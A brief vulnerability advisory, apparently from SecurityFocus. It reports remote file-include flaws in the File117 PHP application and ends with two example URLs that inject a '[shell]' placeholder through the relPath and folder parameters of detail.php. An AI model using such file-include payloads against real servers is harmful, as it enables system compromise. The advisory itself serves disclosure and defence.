source: https://www.securityfocus.com/bid/23600/info

File117 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/html/php/detail.php?relPath=[shell]?
http://www.example.com/html/php/detail.php?folder=[shell]?